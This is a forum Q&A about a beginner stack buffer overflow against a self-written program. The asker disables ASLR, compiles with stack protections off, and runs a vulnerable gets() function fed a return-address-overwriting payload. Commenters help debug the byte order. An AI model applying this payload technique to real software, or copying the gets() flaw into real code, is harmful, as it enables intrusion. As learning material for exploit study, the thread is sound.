1

In small words I would like to do a simple, really basic exploit by executing the desired address on the stack.

For this purpose I did some research:

  1. dissable randomize protection on linux:

    echo 0 > /proc/sys/kernel/randomize_va_space

  2. Enable stack exec on gcc when compiling.

    gcc overflow.c -o overflow -mpreferred-stack-boundary=4 -fno-stack-protector -ggdb -z execstack -static

  3. Finally create source code, gdb and exploit.

    void return_input(void){

    char array[30]; gets(array); printf("%s\n",array); }

    int main(){

    return_input(); return 1; }

And the exploit is as simple as printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCC1234567\x40\x10\x5e" | ./overflow this considering the matching address on gdb.

Finally. I know the exploit "should" work. But I get the following error.

16199 illegal hardware instruction (core dumped) ./overflow

I know the exploit is trying to actually execute the function on the address I pass. How ever it does not work, there is some kind of protection on the system(Linux 14.04 LTS updated) but I can't figure out what it is.

Does anybody knows how to overcome this "illegal hardware instruction (core dumped)"

FYI this is the Gdb disas of the function I'm trying exploit:

(gdb) disas return_input
Dump of assembler code for function return_input():
   0x000000000040105e <+0>: push   %rbp
   0x000000000040105f <+1>: mov    %rsp,%rbp
   0x0000000000401062 <+4>: sub    $0x20,%rsp
   0x0000000000401066 <+8>: lea    -0x20(%rbp),%rax
   0x000000000040106a <+12>:    mov    %rax,%rdi
   0x000000000040106d <+15>:    callq  0x408650 <gets>
   0x0000000000401072 <+20>:    lea    -0x20(%rbp),%rax
   0x0000000000401076 <+24>:    mov    %rax,%rdi
   0x0000000000401079 <+27>:    callq  0x408840 <puts>
   0x000000000040107e <+32>:    leaveq 
   0x000000000040107f <+33>:    retq   
End of assembler dump.
Jorch914
  • 3,465
  • 2
  • 16
  • 21
  • 3
    Try \x5e\x10\x40 instead. x86 is [little-endian](http://en.wikipedia.org/wiki/Endianness). – m0skit0 May 04 '15 at 23:14
  • I did, still does not work, I keep getting this "illegal hardware instruction (core dumped)" message, which should be somekind of protection from the os, appart of the ones I have disabled. – Jorch914 May 04 '15 at 23:16
  • 3
    No, that could simply be you're landing in a valid address which content cannot be converted to a legal instruction. You still need to zero the higher bits so it doesn't take random bits from the existing stack data in your higher address bits. Anyway, you can use GDB to see what's happening exactly. – m0skit0 May 04 '15 at 23:18
  • Thank you @m0skit0 for your insight, you are right after checking on gdb I'm not driving the address into the correct register on the stack. best – Jorch914 May 07 '15 at 16:05

0 Answers0